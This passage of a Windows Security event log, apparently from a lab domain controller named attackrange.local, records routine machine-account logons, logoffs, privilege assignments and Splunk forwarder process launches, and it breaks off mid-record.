ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257303
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DD065

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257302
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DD0E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50790

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257301
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DD0E7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257300
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DD065
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		50789

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257299
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DD065

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257298
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DD01C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DD01C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257296
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DCF0C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50788

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257295
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DCF0C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257294
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DCEDF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50787

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257293
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DCEDF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257292
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257307
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257306
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x858
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257308
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DD0E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257311
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DEE98

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257310
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DEE98
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50800

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257309
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DEE98

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:23:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257314
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257315
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257316
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257318
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
